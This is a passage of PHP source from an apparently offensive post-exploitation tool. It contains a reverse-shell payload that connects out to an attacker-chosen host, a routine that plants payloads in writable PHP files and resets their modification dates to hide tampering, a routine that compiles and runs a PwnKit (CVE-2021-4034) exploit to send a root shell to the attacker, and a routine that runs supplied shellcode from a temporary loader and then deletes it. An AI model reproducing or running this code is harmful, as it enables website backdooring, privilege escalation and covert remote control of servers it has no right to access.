"7. StableShell " => '<?php $a="script -qc /bin/bash /dev/null";umask(0);$b=fsockopen($_REQUEST[0],$_REQUEST[1],$c,$d,30);$e=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$f=proc_open($a,$e,$g);foreach($g as $p)stream_set_blocking($p,0);stream_set_blocking($b,0);while(!feof($b)){$i=array($b,$g[1],$g[2]);if(in_array($b,$i))fwrite($g[0],fread($b,2048));if(in_array($g[1],$i))fwrite($b,fread($g[1],2048));if(in_array($g[2],$i))fwrite($b,fread($g[2],2048));}fclose($b);foreach($g as $p)fclose($p);proc_close($f);?>'
);
fwrite($s, cyan("\n[i] ").white("List of payloads available:\n"));
$i=true;
foreach($payloads as $name => $code){
$desc = $i ? cyan($name).$code : cyan($name).white($code);
fwrite($s, $desc."\n");
$i = !$i; //toggle payload color
}
fwrite($s, cyan("\n[?] ").white("Choose a payload to infect the selected files (default:0): "));
while($choosed_payload = fread($s, 128)){
$user_payload = 0;
if((int)$choosed_payload <= count($payloads)+1)
$user_payload = $choosed_payload;
break;
}
fwrite($s, cyan("[?] ").white("Do you want do insert the payload at the beginning [0] or end [1] of the file (default: 1)? "));
while($position = fread($s, 128)){
$position = 1;
if((int)$position === 0) $position = 0;
break;
}
infect($allFiles,$toInfect,(int)$user_payload,$payloads,(int)$position);
return;
}
//list of all writable php files, files to be infected, index of choosen payload, list of payload, position (beginning or end of file)
function infect($allFiles,$fileArr,$payload_index,$payload_list,$position=1){
// position 1 = end; 0 = beginning
global $s;
$payload = $payload_list[array_keys($payload_list)[$payload_index]]; //the payload itself
fwrite($s, yellow("\n[!] ").white("Files to infect:\n"));
foreach($fileArr as $fileToInfect)
fwrite($s,$allFiles[$fileToInfect]."\n");
fwrite($s, yellow("[!] ").white("Payload: ").$payload_list[array_keys($payload_list)[$payload_index]]."\n");
$position_str = $position ? "End of file" : "Beginnig of file";
fwrite($s, yellow("[!] ").white("Position: ").$position_str."\n");
fwrite($s, cyan("[?] ").white("Are you sure you want to infect those files? [Y/n]"));
while($sure = fread($s, 128)){
if(strtolower(substr($sure,0,1)) == "n") return; //not sure, return
break;
}
foreach($fileArr as $fileToInfect){
$filePath = $allFiles[$fileToInfect]; //fileToInfect is an integer that is the index of the array $allFiles
if(isAvailable("file_get_contents") && isAvailable("file_put_contents")){
$old = file_get_contents($filePath);
$originalDate = str_replace("\n","",run_cmd("stat ".$filePath.' | grep Modify | sed "s/Modify: //"')); //modify date
if($position) //end of file
$written = file_put_contents($filePath, "\n".$payload, FILE_APPEND) ? 1 : 0;
else //beginning of file
$written = file_put_contents($filePath, $payload."\n".$old) ? 1 : 0;
$result = $written ? green("[+] ").white($filePath." was infected with payload !") : red("[-] ").white($filePath." Error!");
fwrite($s,$result."\n");
if(run_cmd("touch -d ".'"'.$originalDate.'" '.$filePath))
fwrite($s,green("[+] ").white("Mantained original 'modified date' (".$originalDate.").\n"));
}
}
return;
}
//try to gain a reverse root shell with cve-2021-4034
function pwnkit(){
global $ip, $s, $yaps, $cve_2021_4034;
$port = "9090"; //port to which root shell will be sent
fwrite($s, cyan("[*] ").white("Trying to exploit PwnKit (CVE-2021-4034)")."\n");
if(strlen(run_cmd("which pkexec")) < 6)
return fwrite($s, red("[-] ").white("Could not find pkexec.")."\n");
if(strlen(run_cmd("which gcc")) < 3)
return fwrite($s, red("[-] ").white("Could not find gcc. Is it installed?")."\n");
fwrite($s, green("[+] ").white("Pkexec detected at ".run_cmd("which pkexec")));
fwrite($s, cyan("[*] ").white(run_cmd("$(which pkexec) --version")));
fwrite($s, cyan("[*] ").white("Select a port to receive the root shell [default=$port]: "));
while($new_port = fread($s, 32)){
$new_port = (base64_encode($new_port) == "Cg==") ? $port : substr($new_port,0,-1); //if new_port= newline, new_port = default
break;
}
$cve_2021_4034 = str_replace("YAPS", $yaps, $cve_2021_4034);
$cve_2021_4034 = str_replace("IP", $ip, $cve_2021_4034);
$cve_2021_4034 = str_replace("PORT", $new_port, $cve_2021_4034);
if(!file_put_contents("/tmp/xpl.c", $cve_2021_4034))
return fwrite($s, red("[-] ")."Couldn't write exploit to /tmp. Do you have write permissions there?");
fwrite($s, white("~ Trying to compile exploit ~\n"));
run_cmd("$(which gcc) /tmp/xpl.c -o /tmp/xpl");
if(!file_exists("/tmp/xpl"))
return fwrite($s, red("[-] ")."Couldn't compile exploit... =/");
fwrite($s, green("[+] ").white("Exploit compiled! Trying to run it... Hopefully you're now root!\n"));
fwrite($s, yellow("[!] ").white("This instance is locked until the root shell session is over.\n"));
run_cmd("nohup /tmp/xpl &"); //TODO: make this shit work in background
fwrite($s, cyan("[*] ").white("Deleting temp files...\n\n"));
unlink("/tmp/xpl.c");
unlink("/tmp/xpl");
}
//check whether shellcode is in a valid format
function check_shellcode($shellcode){
if(strlen($shellcode) < 4)
return false;
if(preg_match_all("/^(\\\x([a-fA-F0-9]{2}))+$/", $shellcode))
return "hex encoded";
if(preg_match_all("/^([a-fA-F0-9]{2})+$/", $shellcode))
return "hex";
if(preg_match_all("/^(?=(.{4})*$)[A-Za-z0-9\+\/]*={0,2}$/", $shellcode))
return "base64";
return false;
}
//receive a shellcode from the user and execute it
//TODO: compatibility w/ x86
function shellcode(){
global $s, $shellcode_runner;
fwrite($s, cyan("[*] ").white("Send the shellcode you want to execute [max size: 16384 bytes (16kb)].\n"));
fwrite($s, yellow("[!] ").white("Your shellcode MUST NOT HAVE nullbytes (\\x00).\n If you're using msfvenom, use -b \"\\x00\".\n Interactive payloads won't display stdout nor stderr.\n"));
fwrite($s, cyan("[*] ").white("Accepted formats: \n - Hex encoded (\\x48\\x31\\xc9\\x48\\x81\\xe9)\n - Hex (4831c94881e9)\n - Base64 hex encoded (SDHJSIHpCg==)\nEnter shellcode: "));
$shellcode = fread($s, 16384);
$check = check_shellcode($shellcode);
fwrite($s, cyan("\n[*] ").white("Received payload in $check format.\n"));
if(!$check)
return fwrite($s, red("[-] ").white("Couldn't identify the format of the payload. Make sure it is in hex, encoded hex or base64(encoded hex) form.\n"));
if($check == "hex")
$shellcode = base64_encode(substr("\x".implode("\x",str_split($shellcode,2)),0,-3));
if($check == "hex encoded")
$shellcode = base64_encode($shellcode);
if(preg_match("/x00/", base64_decode($shellcode)))
return fwrite($s, red("[-] ").white("Make sure your shellcode DOES NOT contain any nullbyte (\\x00). If you're using msfvenom, use -b \"\\x00\".\n"));
$randomName = random_name();
fwrite($s, cyan("[*] ").white("Dropping loader to /tmp/$randomName...\n"));
file_put_contents("/tmp/".$randomName, $shellcode_runner);
fwrite($s, cyan("[*] ").white("Changing permissions for /tmp/$randomName...\n"));
if(!chmod("/tmp/".$randomName, 0777))
return fwrite($s, red("[-] ").white("Couldn't change permission for /tmp/$randomName.\n"));
fwrite($s, green("[+] ").white("Running shellcode!\n"));
run_cmd("nohup /tmp/$randomName $($(which echo) -e $($(which echo) -n '$shellcode' | base64 -d)) 2>/dev/null &");
fwrite($s, cyan("[*] ").white("Deleting loader at /tmp/$randomName...\n"));
if(!unlink("/tmp/$randomName"))
return fwrite($s, red("[-] ").white("Couldn't delete loader at /tmp/$randomName...\n"));
}
//guess what
function parse_stdin($input){